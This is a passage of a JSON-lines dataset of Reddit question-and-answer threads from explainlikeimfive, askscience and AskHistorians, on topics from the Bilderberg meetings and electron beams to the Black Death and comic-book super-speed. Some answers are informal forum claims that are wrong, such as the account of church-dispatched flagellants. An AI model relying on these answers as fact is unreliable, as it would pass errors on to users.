themselves\n\nSome of the early Muslim communities survive in debilitated form in various cities of North and South America, but most seem to have disappeared as their membership dwindled through conversion, death, and especially, return to the home country.  The lack of Muslim leadership to provide support and guidance and the scarcity of Muslim women among the immigrant accounted in large part for the decline of these communities as they never became strong enough to enable their members to resist conversion pressures or to make the New World culturally attractive enough to be considered a permanent home by those who did not care to convert\n\n**Sources:**\n\n*The Turks in America* and *The Ottoman Emigration to America 1860-1914* by Kemal H. Karpat"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1fnfix", "title": "the bilderberg conventions", "selftext": "What they are really... And then maybe some conspiracies about what might actually happen at them", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1fnfix/eli5_the_bilderberg_conventions/", "answers": {"a_id": ["cabyeet", "cac04sl", "cac9tjf"], "score": [13, 2, 2], "text": ["It is a very secretive get together where high power business figures get together with European royalty and various government figures (mostly Western) to discuss global issues/policy in an informal setting without media scrutiny. Now, you can probably see where these kind of people getting together with all of this secrecy leads to rampant speculation about what goes on there. Conspiracy theorists believe this is one of the main get-togethers of the New World Order where capitalists and governments come together to plot how to control us all. \n\nConspiracies aside, it should make us all a little uncomfortable that big business and national governments have a conference like this where they get together, talk informally, share their goals and strategies and generally get real cozy with one and other.", "If you're interested in the Bilderbergs a book called 'Them' by Jon Ronson would be really interesting for you. ", "As others have mentioned, Bilderberg is the most exclusive conference in world. Here is an [incredible breakdown](_URL_0_) of those attending, where they're from, what industry they work in, as well as continent. An interesting note on that from the article, \"The exclusion of other areas of the world means that the discussion of \u201cDevelopments in the Middle East\u201d will go forward next weekend with Turkish delegates as the only Middle Eastern voices. \u201cAfrica\u2019s challenges\u201d will be discussed without anyone from that continent. And \u201cCyber warfare and the proliferation of asymmetric threats\u201d will be debated without a Chinese or Russian viewpoint.\n\nThat, along with what a few others have mentioned, is what puts people on edge. It's a very 'us vs the world' sort of vibe. Let's not kid ourselves though, the Chinese and Russians (maybe even some Latin Americans?) are definitely having their own cool kid get-togethers. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://qz.com/90335/everyone-whos-attending-bilderberg-the-worlds-most-elite-conference/"]]}
{"q_id": "ffajce", "title": "in massacres and genocides conducted by military or large groups of people, why is it so easy to carry out such horrible acts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ffajce/eli5_in_massacres_and_genocides_conducted_by/", "answers": {"a_id": ["fjxe65x"], "score": [4], "text": ["The military are used to obeying orders due to the fog of war an individual unit doesn't always know what is going on around them so they need to trust the person giving the orders. On top of that the military are brainwashed into thinking that the enemy are irredeemably bad so they can't arrest and detain them because when they get out they will need to be killed later on as they will be a threat , children in this mentality are also a threat since they will grow up to kill you so kill them now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6abf7n", "title": "Why does an electron beam not accelerate towards the earth?", "selftext": "Electrons have mass, so why are they not affected by gravity in the same way that other mass is?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6abf7n/why_does_an_electron_beam_not_accelerate_towards/", "answers": {"a_id": ["dhd8clh", "dhd943c", "dhdbb2x", "dhdd6b4", "dhdngtj", "dhdwizb", "dhe0os8"], "score": [434, 71, 39, 3, 9, 6, 3], "text": ["Electrons are affected by gravity. In an electron beam, they're just going fast enough that the curve typically isn't very noticeable over short distances.", "Electron beams are attracted by Earth - but the force is completely negligible in all setups we can build today. Electrons have a huge charge to mass ratio. With current technology we cannot produce a region where the gravitational force is more important than the electromagnetic force.\n\nIf we could do that, a *very* slow electron beam could get deflected notably by gravity. This wouldn't be very interesting for electrons, but we could test the gravitational attraction on antimatter that way - which would be very interesting.", "They do.  An electron at room temperature has about 25meV of thermal kinetic energy, which correlates to a speed of 100 km/s in a random direction.  Conversely, they have a mass of 9.11 x 10^-31 kg, which means, assuming g=9.81, in 1 second they will fall:\n\n(1/2)(9.81)(1)^2 ~ 5 m. \n\nSo if we assume their random thermal motion was entirely horizontal (just to create a picture of the relative magnitudes), in a given second they will make it 100,000 meters to the right, and 5 meters down.  That's just their thermal velocity, if you accelerate them horizontally...\n\nThe point is gravity plays a non-zero but thoroughly negligible role in the dynamics of an electron. (Barring specific experiments specifically designed around the influence of gravity on electrons).", "I don't know how big the effect of gravity is, but they are certainly effected by the earth's magnetic field. Early color televisions had to be readjusted if they were moved in a room, as the distortion of the beam would cause a color shift. (The beam goes through a shadow mask and has to align with different-colored phosphor dots.)", "I work at Thermo Fisher Scientific, Legacy FEI devision, and we build electron microscopes. I always love reading about how electrons function and operate in the world. Reply if you want any questions answered! I work in the area where we build the functioning parts for the microscopes.", "As others have said, gravity does influence the electron beam, and given that a storage ring (like an electron synchrotron for example) could have electrons whizzing round for minutes/hours, you'd think the electrons would drop off.\n\nA big part about modern accelerators (especially synchrotrons) is focusing the beams- all particles have some displacement in the x, y and z directions from the centre of the bunch. So as a particle gets too far away from the centre of the bunch it will either get guided back towards the center by focusing magnets/some other cooling mechanism or it will be lost from the beam.\n\nNot an expert in this field fyi, but doing my masters in physics and have done courses on particle accelerator physics.", "Anything with mass is affected by gravity.  Electrons, protons, neutrons, it doesn't matter.  Gravitational force is noticeable in particle accelerators.  As the moon phase changes, the beam tune must be adjusted to compensate for the change in gravitational force.  It's more noticeable in longer linear accelerators, like the injection linac for LHC.\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://home.cern/about/updates/2012/06/full-moon-pulls-lhc-its-protons"]]}
{"q_id": "6xqee5", "title": "Any recent visitors to Pearl Harbor/USS Arizona Memorial? If so, I have a question.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6xqee5/any_recent_visitors_to_pearl_harboruss_arizona/", "answers": {"a_id": ["dmi68es"], "score": [2], "text": ["In all honesty you may want to ask this on /r/AskReddit or similar, not here. It isn't so much a question for historians as it is for, well, anyone who has visited the memorial recently. Put the serious tag on to be safe, but you'll pull from a much bigger pool there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ln2lk", "title": "What's the lowest theoretically possible stable orbit around Earth?", "selftext": "Could we get it down to meters above sea level? Is there even a route around Earth that would enable that?\n\nDoesn't matter to me what the object is (but varying its size/mass from a baseball to the empire state building (what would it take to put the Empire State Building into an orbit?) might also be an interesting thought experiment. Also it might be better to ignore current technological restrictions (or constrain it to current technology, that might be interesting too).", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ln2lk/whats_the_lowest_theoretically_possible_stable/", "answers": {"a_id": ["cc0v01k", "cc0vysi", "cc10c1w"], "score": [15, 6, 5], "text": ["Depends what you mean by stable. The ISS has to periodically adjust its orbit because of drag from the latent atmosphere.", "If by \"stable\" you mean \"requires no more energy input to stay the same shape\" then it would be where the drag effect from the atmosphere is not slowing you down by a noticeable degree.\n\nFor this reason, an orbit of a few meters, or even a few thousand meters, is not really possible unless you keep inputting energy (like an aircraft flying around the world).", "Over very, VERY long intervals, nothing is truly and absolutely stable *(add discussion about long term stability of the Solar System here)*. However, look up the term Low Earth Orbit (LEO):\n\n_URL_0_\n\nYou'll have a hard time keeping things in orbit below 200km, and a really, really hard time below 160km."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Low_Earth_orbit"]]}
{"q_id": "5gc9pm", "title": "why is the nes classic in extreme hot demand right now when it's essentially a glorified emulator?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gc9pm/eli5_why_is_the_nes_classic_in_extreme_hot_demand/", "answers": {"a_id": ["dar2qhn", "dar2qsd", "dar35aj"], "score": [4, 5, 2], "text": ["The majority of people don't know about emulators. Also emulators are technically in a legal gray area as the makers of the games are not making money off of the downloads. In this case the games that are on their are licensed and some money is being distributed. \n\nNot to mention these are plug in play. Most emulators require a previous setup sure a pi can be cheaper and have more games, but it takes a lot longer to setup and more can go wrong. \n\nAlso marketing. No one is marketing emulators, but stores are marketing the new NES product. ", "Nintendo sells nostalgia, this is proof. \n\nIts pre packaged and easy to use, also the old Nes might not work with most new tv's.\n\nYa you could build a raspberry pie emulator,  download all the Roms (which is illegal) then build it.  Or pay 80$ and play right away. ", "It's easy.  It's too much work to download all the roms and run them on my TV using emulators.  It also looks slick."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "mwhyo", "title": "what's the difference between an hmo and a ppo?", "selftext": "I'm registering for my health insurance this year and I am not sure which one to pick...please help?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mwhyo/eli5_whats_the_difference_between_an_hmo_and_a_ppo/", "answers": {"a_id": ["c34f1y3", "c34frm3", "c34fxd4", "c34f1y3", "c34frm3", "c34fxd4"], "score": [2, 4, 4, 2, 4, 4], "text": ["HMO's have more rules than PPO's. PPO's cost more.", "For a (usually) lower monthly rate, an HMO will provide you healthcare. Copays under an HMO are usually pre-negotiated and listed in the plan documents, and lower than with a PPO. The downside is that you MUST select a doctor within the HMO network. There are sometimes special provisions for out-of-network emergency care if necessary.\n\nUnder a PPO plan, you will (usually) pay a higher monthly rate. Generally though, you can select any doctor you wish to see. You will pay that doctor's fee for his/her services, and your insurer will pay a set amount (often a percent) of that fee, and you will have to pay the rest out of pocket.\n\nSome \"gotchas\" for a PPO is that some plans will only pay up to a maximum amount per year, and some plans reserve the right to only pay what a cheaper procedure would have cost if they believe it would have been just as good as the more expensive procedure you actually got.", "Note: you can visit r/insurance and ask this question as well.\n\nHMOs have a list of doctors you can go to, who they've organized rates with, and you can't go to a specialist without getting a referral from your primary care physician.\n\nPPOs do have a list of providers who accept their insurance, but you're not assigned a primary care provider or required to get a referral. Generally a bit more expensive, may have hidden limitations.", "HMO's have more rules than PPO's. PPO's cost more.", "For a (usually) lower monthly rate, an HMO will provide you healthcare. Copays under an HMO are usually pre-negotiated and listed in the plan documents, and lower than with a PPO. The downside is that you MUST select a doctor within the HMO network. There are sometimes special provisions for out-of-network emergency care if necessary.\n\nUnder a PPO plan, you will (usually) pay a higher monthly rate. Generally though, you can select any doctor you wish to see. You will pay that doctor's fee for his/her services, and your insurer will pay a set amount (often a percent) of that fee, and you will have to pay the rest out of pocket.\n\nSome \"gotchas\" for a PPO is that some plans will only pay up to a maximum amount per year, and some plans reserve the right to only pay what a cheaper procedure would have cost if they believe it would have been just as good as the more expensive procedure you actually got.", "Note: you can visit r/insurance and ask this question as well.\n\nHMOs have a list of doctors you can go to, who they've organized rates with, and you can't go to a specialist without getting a referral from your primary care physician.\n\nPPOs do have a list of providers who accept their insurance, but you're not assigned a primary care provider or required to get a referral. Generally a bit more expensive, may have hidden limitations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "35w6sz", "title": "Why are royalty/monarchs so often revered?", "selftext": "As I understand it, they get the titles automatically by birthright. Even in this day people seem to worship or otherwise be fascinated by kings, queens, princes, princesses, etc.\n\nThe thought crossed my mind again after I ran across a TIL today \"[The Dutch royal family took refuge in Canada during WW2 occupation, upon the birth of Princess Margriet, the Ottawa maternity ward was temporarily declared to be Dutch territory by the Canadian government. Since then every year the Dutch people send Canada thousands of tulips in appreciation.](_URL_0_)\". Like, why would a country bother to grant territory like this, and why some other people would carry out a tradition for generations in gratitude for helping out a family that happened to be simply born into their good fortune?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/35w6sz/why_are_royaltymonarchs_so_often_revered/", "answers": {"a_id": ["cr8ffr5"], "score": [2], "text": ["Not sure this sub is the best home for this question; while you may get answers here, it may be worth trying in /r/AskSocialScience or /r/Psychology"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/todayilearned/comments/35undr/til_the_dutch_royal_family_took_refuge_in_canada/"], "answers_urls": [[]]}
{"q_id": "3zpzc7", "title": "Was Quetzalcoatl a real person, a deity, or a conflation of the two?", "selftext": "It seems that people are firmly in one camp or another.   I've been trying to find answers, but am a bit lost.  Hoping for some help! ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3zpzc7/was_quetzalcoatl_a_real_person_a_deity_or_a/", "answers": {"a_id": ["cyo1gqm"], "score": [11], "text": ["There's always room for discussion, but perhaps these previous topics found through the search function will answer your inquiry\n\n* [Quetzalcoatl](_URL_1_)\n\n* [How accurate is this top comment from r/pics about Quetzalcoatl?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1k1qsq/how_accurate_is_this_top_comment_from_rpics_about/", "https://www.reddit.com/r/AskHistorians/comments/2ly991/quetzalcoatl/"]]}
{"q_id": "6jso0b", "title": "why do fires make soil more fertile? doesn't it destroy nutrients?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6jso0b/eli5_why_do_fires_make_soil_more_fertile_doesnt/", "answers": {"a_id": ["djgq3ry", "djgslyn", "djgsz75", "djh3qua"], "score": [15, 6, 7, 3], "text": ["Some of the most fertile soil in the world is volcanic ash. It breaks down the plant matter into carbons and other nutrients which mixes with the already existing soil, enriching it.", "Nutrients for planets are very distinct from nutrients for animals. In general a plants 'nutrients' are elemental materials like nitrogen, potassium, phosphorus, etc. Fire is only breaking down the organic compounds into their components.", "Plants grow by turning Water and CO2 into sugar using sunlight. They only need small amounts of things from the soil, nitrates to make proteins, phosphorous to make DNA, and minerals such as Magnesium and Potassium. \n\nFires break down the previous plants, burning the flammable parts (mostly sugars) but leaving the inorganic parts which aren't combustible for the next set of plants to absorb.", "Two reasons! First, the fire is making a lot more stuff that was above ground (trees, birds, etc) into tiny particles that wash below the surface of the soil, partially broken down and ready to be incorporated directly into the rhizosphere. The second factor is that this new rush of microbe food source causes a microbial bonanza, which turbo charges the soil. The blackened wood makes an ideal habitat for soil microbes, which are all hopped up on fresh fertilizer, and that causes more rapid growth in plants. Look up horticultural biochar for some good info!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "atr55n", "title": "when an animal attacks a human, like a shark attack, why do they find the animal? is there anything to gain from killing the animal responsible, besides people thinking they're getting vengeance?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/atr55n/eli5_when_an_animal_attacks_a_human_like_a_shark/", "answers": {"a_id": ["eh2y9oo", "eh2yro5", "eh32kko"], "score": [20, 6, 4], "text": ["In a lot of cases, an animal that has learned to think of humans as prey will continue to prey on humans.  People are generally easier to catch than their normal prey animals.", "An animal that has learned that humans are potential prey is likely to hunt other humans. They are a threat from that point forward for everyone in the area and the only way to protect the people that live there is to kill that animal. ", "One reason not mentioned is, if an animal that could carry rabies attacks a person, they have to catch the animal and test it for rabies. The only way to test for rabies is by examining the brain so you have to kill the animal. You can\u2019t just treat people blindly for rabies as the course of treatment is brutal and you really don\u2019t want to have to put a person through that unless they definitely were bit by a rabid animal. You also can\u2019t \u201cwait and see\u201d if the person develops symptoms because it\u2019s too late to treat rabies by then. Rabies is a death sentence so it\u2019s better to catch and kill the attacking animal than risk a human death or putting them through a grueling course of treatment unnecessarily. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "65qts9", "title": "if a mistake is made during a surgery, who is takes responsibility for it? how is the family compensated for it if it leads to the death of the patient? and can a doctor get fired and lose his medical license for it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/65qts9/eli5if_a_mistake_is_made_during_a_surgery_who_is/", "answers": {"a_id": ["dgcfrb5", "dgcp89i", "dgcwtam"], "score": [3, 4, 2], "text": ["If it was due to actual negligence the insurance of the doctor and or hospital will pay compensation to the family or patient. If it is due to severe negligence the doctor can have their medical license stripped, and if it is very severe they may face criminal charges. ", "Depends exactly what you mean by mistake.\n\nIf the surgeon merely makes an incorrect decision that leads to a bad result, there may be no consequences.  Surgeons are required to be competent, not perfect, and if they make a mistake many other surgeons might have made, that is just bad luck.\n\nFor there to be consequences, you need more than a bad result, you need to show the surgeon was negligent, that they acted in a manner most surgeons would not have.  The result would be a civil suit, a big payout, the surgeon's insurance going up, and possibly getting fired.  If it happens a lot, they can lose their license for incompetence.\n\nIf they exercised gross negligence, like operating while drunk, they could face criminal charges and a more immediate loss of license.\n\n\n\n\n\n", "Doctors aren't perfect, and for a lot of the procedures, you have to give \"informed consent\", which means the doctor talks to you about what's going to be done, and what the chances of recovery are, in ELI5 terms so you understand.  Then you sign a paper that you agree to the procedure.\n\nThe chances of recovery are never 100%.  The doctors always warn you that there are risks with any surgery or procedure, from unforeseen complications to unknown allergies to the treatment being unsuccessful.\n\nSo this informed consent process takes care of the \"responsibility\", as you are given advanced warning of what may happen, and are free to choose to go ahead with the operation, or not.\n\nSo, in case of mistakes that are \"beyond\" reasonable expectations of how the doctor should have performed, the patient or family have the option of malpractice lawsuits, and the doctors usually have malpractice insurance.  So, first the decision is made in court, and second, the payment to the family is usually made by the insurance of the doctor (with the doctor getting increased insurance costs, like any insurance).\n\nThe hospital where the doctor works can, if they want, make decisions whether to fire or keep the doctor, based on performance and the number of malpractice suits."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "qevmn", "title": "English Lineage question. ", "selftext": "I have been doing a lot of reading about the Kings of England latley. I read that The current Queen is related to William I. When I look over the family trees I see Sweyn Forkbeard out of nowhere. How could he just pop up but still be related to the queen? How do the different houses play into this? For example the Scottish family tree with David the Saint. It seems to happen a few times in the lineage where they just don't really seem related. Maybe if someone could show me some reading material? I have a few books currently but they don't go into much detail. I am just really into this stuff and I hate not knowing. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/qevmn/english_lineage_question/", "answers": {"a_id": ["c3x31so"], "score": [8], "text": ["First off, it is important to remember that by and large, at this time England was not part of the \"Continental\" sphere of kingdoms, but was really more Scandinavian in its orientation.\n\nThis is a question that gets into Medieval lineages, which were often pretty tenuous. But basically, Svein Forkbeard, the Dane, began the conquest of England, fighting against Aethelred. Aethelred sought to secure Norman support by marrying Emma or Normandy, a plan that ultimately didn't work. This was ultimately unsuccessful, and Svein took England and Aethelred fled to Normandy. Svein died allowing Aethelred to come back and retake the throne, but was again attacked by Svein's son, Canute. Canute fairly quickly retook England, an was finally successful when Aethelred died. He then married Emma. So you have a Danish king on the throne, married to a Norman wife.\n\nI may have missed a few there, because I'm unfamiliar with the Norman side and am using Wikipedia to check my facts.\n\nThe history then gets even more complicated and I have never bothered to learn it, nor will I, but broadly speaking William derived his legitimacy from Emma, and was also favored by Edward the Confessor, a far more important claim due to the nature of Anglo-Saxon politics. Harold Godwinson also had a claim from Svein, but more importantly was from one of the most powerful Anglo-Saxon families. Now the most interesting figure in the picture, Harald Hardradi, king of Norway, based his claim on the fact that Norway had been conquered by Denmark. This gave him a claim to Canute's empire--this claim had been pursued by his brother, Magnus the Good, who took control of both Denmark and Norway but ceded control of England. At his death, Denmark was retaken by Svein Estridson, a grandson of Canute the Great--another interesting figure, who never won a battle and never lost a war. Harald Hardradi, despite being a very able commander, never managed to cement his victories. At the death of Edward the Confessor, he chose to assert his right to the English throne, as the heir to Canute's empire. So the descent based legitimacy for the three claims actually came from Canute. Canute's legitimacy came from his father Svein, who derived his legitimacy from having a big army.\n\ntl;dr: Medieval lineages are so complex that practically anyone could assert their claim practically anywhere at practically any time. Medieval historians deserve our respect and sympathy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6f477a", "title": "why are road signs on highways broken down to the quarter mile, rather than any other fraction?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6f477a/eli5_why_are_road_signs_on_highways_broken_down/", "answers": {"a_id": ["difa1gy"], "score": [4], "text": ["Depends on the jurisdiction, I suspect nations that use the metric system don't use 1/4 mile on road signs. \n\nFor the US, we use the imperial system, so 1/4, 1/2, 3/4 mile are convenient breakdowns. There may be historical reasons why this was used based on road signs that existed before the era of automobiles, or maybe a unit of measurement people were already familiar with. \n\nTry r/askhistorians"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ng4zz", "title": "During the Black Death, was it a common belief that the world was ending, and what was the official stance of the church?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ng4zz/during_the_black_death_was_it_a_common_belief/", "answers": {"a_id": ["ccibegu", "ccidoqi", "ccifosf"], "score": [130, 10, 24], "text": ["While most did not quite consider it an apocalyptic event (though there were some sects who did), the Bubonic Plague's devastation was largely attributed to God pouring out his wrath and punishment upon mankind, and according to Giovanni Boccaccio, \"the authority of divine and human law had crumbled and fallen into decay.\" It became markedly clear that the church was losing its authority over medieval Europe.\n\nDespite the fact that peasants were quick to launch witch hunts upon various groups they blamed for spreading the disease, from incoming Italian merchant sailors to resident Jewish populations, the official stance of the Catholic church was that the plague was divine in origin. It's important to note that some took a rather conspiratorial stance, and even blamed the Church for propagating the plague in the first place!\n\nIn response to these accusations, a group of clergymen known as \"flaggelants\" were dispatched to clear the church's name, so to speak. These flaggelants also attempted to use the Jews as a scapegoat; promoting the belief that the plague was somehow their fault. Although this was a popular idea, their main methods for restoring faith in the church were viewed as radical and obscene, as they would go into the center of each town they visited, whipping and beating their own flesh. ", "A professor of mine who specialized in the philosophy of science once mentioned the learned classes of Europe believed the plague was caused by \"bad air.\" Is this true?", "One interesting article I've read (cited below) involved the archaeology of plague cemeteries. It revealed that London graves were carefully dug out in orderly rows in anticipation of the plague. The people in the 1300s who dug these graves in advance were aware that the plague came and went with some regularity. Furthermore, they were very particular in placing the bodies in nicely - even when they were no longer articulated (i.e. had rotted apart) attempts would be made to put the bodies in in a respectful fashion. Obviously, when the plague came it was devastating, but in some places people clearly did approach it methodically.\n\nHawkins, Duncan. 1990. The Black Death and the new London cemeteries of 1348. *Antiquity* 64:637-642."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1zvgdg", "title": "Forged sources", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1zvgdg/forged_sources/", "answers": {"a_id": ["cfxcwba"], "score": [2], "text": ["The [Historia Augusta](_URL_0_)\u2014one of the major sources for Roman history in the second and third centuries\u2014is written as if it were the collected works of six different historians writing in the time of Diocletian and Constantine. But it\u2019s now generally thought to be, essentially, a work of historical fiction written by a single author about a century later. Nevertheless it\u2019s still an important source, because the forger/author had knowledge of legitimate contemporary sources that have since been lost.\n\nAnother example is the works of [Pseudo-Dionysius](_URL_1_), a fifth or sixth-century writer who claimed be Dionysius the Areopagite (a first-century convert of St. Paul mentioned in the New Testament). The works of Peudo-Dionysius are largely based on the fifth-century Neoplatonic philosopher Proclus, but by connecting it to the Areopagite it was successfully passed off as apostolic Christian doctrine (and accepted as such throughout the Middle Ages)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Augustan_History", "http://en.wikipedia.org/wiki/Pseudo-Dionysius_the_Areopagite"]]}
{"q_id": "409tjz", "title": "If Catalonia gained independence from Spain and wanted to go the same route as Belgium and crown a king instead of become a republic, who would be the rightful pretender?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/409tjz/if_catalonia_gained_independence_from_spain_and/", "answers": {"a_id": ["cysku7m"], "score": [2], "text": ["Sorry, but your submission has been removed because we [don't allow hypothetical questions](_URL_0_). If possible, please feel free to rephrase the question so that it does not call for such speculation, and resubmit Otherwise, this sort of thing is better suited for /r/HistoryWhatIf."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_is_this_the_right_place_for_your_question.3F"]]}
{"q_id": "2gbuqy", "title": "relativity vs. comic book representations of super-speed", "selftext": "I've been reading a bunch of articles online but haven't been able to clarify some questions I have concerning relativity (I've read some of the posts here, but am not finding exactly what I need either). \n\nFrom what I can gather reading about Relativity, the closer someone comes to approaching the speed of light, the shorter their experience of time will be relative to, say, those of us moving at \"normal\" speed on Earth. So, based on an example I found online, if I were flying through space at a ridiculously fast speed for, let's say 80 years, the inhabitants of Earth might experience 81 years pass (basically, the faster the speed I'm moving at, the shorter the passage of time I would experience).\n\nThis would seem to contradict what my gut tells me to be logical if I were able to move faster than anyone on Earth. For example, if I could move so exceptionally fast that I could read 20 books in one day, wouldn't moving at that heightened speed make my experience of the movement of time in that day feel much slower? \n\nI know this is just comic book logic, so maybe it is fundamentally flawed, but, just for example, in X-Men: Days of Future Past, in the scene when Quicksilver moves at \"super-speed\" running around the room so fast that everyone else (to him and to the viewer) seems virtually frozen, it seems to contradict what I understand of Relativity. Basically, the faster he's moving, the slower time appears to move to him--as we watch him moving at \"super-speed,\" we experience several minutes of him being able to move around the room compared to the second or so those moving at \"normal speed\" experience. It seems logical that if someone was moving abnormally fast, time would seem to pass more slowly and he/she would be able to accomplish more in a shorter period of time, whereas Relatively seems to state that if moving abnormally fast, one would experience a shorter period of time passing.\n\nCan anyone explain, are the two examples I'm talking about actually contradictory? Or is there some factor I'm totally misunderstanding that makes the \"super-speed\" scenario not actually connected to the concept of Relativity or even support it, or just totally implausible outside of the fact that, of course, no one has \"super-speed\"? \n\nThanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gbuqy/eli5relativity_vs_comic_book_representations_of/", "answers": {"a_id": ["ckhk3hr", "ckhk4wm", "ckhl4ta"], "score": [3, 2, 3], "text": ["Super speed also having \"bullet time perception\" is a common trope, and that's where the difference lies. Moving fast does not mean you think faster.", "I think the problem lies with the question. \nIn people with super speed their mind processes their environment at an increased speed as well. While with Relativity, normal people are traveling quickly; think of it like riding in a airplane. Relativity has to do with time actually moving slower for objects near light speed and doesn't have to do with the person's perspective of time passing. ", "The super-speed in most superhero media doesn't have to do with relativity. It has to do with time perception. \n\n > the closer someone comes to approaching the speed of light, the shorter their experience of time will be relative to, say, those of us moving at \"normal\" speed on Earth\n\nThis isn't completely true. Let's say Bob goes close to speed of light relative to Earth. Then Alice on Earth will see Bob's time moving slower.  Bob *himself* will not measure any slowing of time. Bob will experience time passing at the same rate as ever. However, since from Bob's perspective, the *Earth* is moving away at close to the speed of light, Bob will think Alice's time is flowing slower.\n\nIn terms of superpowers. Most people with super speed also are able to process more information in a smaller time so it looks like time is going slow for them. This doesn't have to do with Relativity, but rather Biology, and how our *brains* perceive time/information. If you can read 20 books in a day then you technically have TWO superpowers: superspeed, and superthinking (ie processing information faster). It's just that in comics,  heroes with superspeed pretty much always have superthinking as well (in addition to other stuff like not being killed if they hit a bug at a gazzilion mph, being able to stand large acceleration and not being flattened, being able to generate enough friction to stop quickly)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2hspyl", "title": "When Ben Franklin said \"Early to bed, early to rise, etc.\", How late were people staying up? How early would he have had them go to bed and wake up?", "selftext": "Whenever I go camping, I naturally go to bed not too long after sunset and wake up early. In Franklin's time, without electricity, I imagine people weren't staying up until 2am. What were normal sleep cycles in the 18th century, and what might Franklin have recommended people adopt?\n\nRelatedly, for people who had to get up before sunrise (e.g., bakers), how did they manage it before alarm clocks were commonplace? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2hspyl/when_ben_franklin_said_early_to_bed_early_to_rise/", "answers": {"a_id": ["ckvs79y", "ckvs9wp", "ckvu1hu", "ckvu4pp", "ckvyzx2"], "score": [154, 94, 58, 33, 6], "text": ["Knock-on question - I saw an article yesterday about the need teenagers have for more sleep than adults.  What were pre-modern attitudes about teenagers and how much they slept?  Were they \"lazy kids\" or was there nuance?", "Related to this: Ekirch has a theory of \"segmented sleep\" that he says dominated pre-industrial revolution western society.  Basically, without universal, cheap artificial lighting sources, people went to bed when it was dark, and would often wake up for an hour or two in the pre-dawn hours to do various things, then go back to sleep.", " >  Relatedly, for people who had to get up before sunrise (e.g., bakers), how did they manage it before alarm clocks were commonplace?\n\nFYI, you'll find a few more examples in the FAQ \n\n[Waking up without alarm clocks\n](_URL_0_)", "People were staying up late in Franlkin's time, possibly until 2am, but without electrical lighting they used lamps and candles.  While in France Franklin wrote a satirical essay, *An Econimical Project* *, where after seeing a new type of lamp where he talks about how much money could be saved by using the free light of the sun.  In the essay he states that candles are used for 7 hours at night, which if accurate (which is not a given due to the nature of the essay), would roughly put lights-out at around 1-3am depending on the time of year.\n\nWhile in Paris Franklin himself was known for not getting up before 10am**.\n\n\n\n*Source: John Adams by David McCullough p.198\n\n**Source: [An Econimical Project](_URL_0_) essay to The Journal of Paris, 1784 ", "Follow up. Weren't human sleep patterns still biphasic at this time?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/AskHistorians/wiki/calendars#wiki_waking_up_without_alarm_clocks"], ["http://tinyurl.com/ojxrjje"], []]}
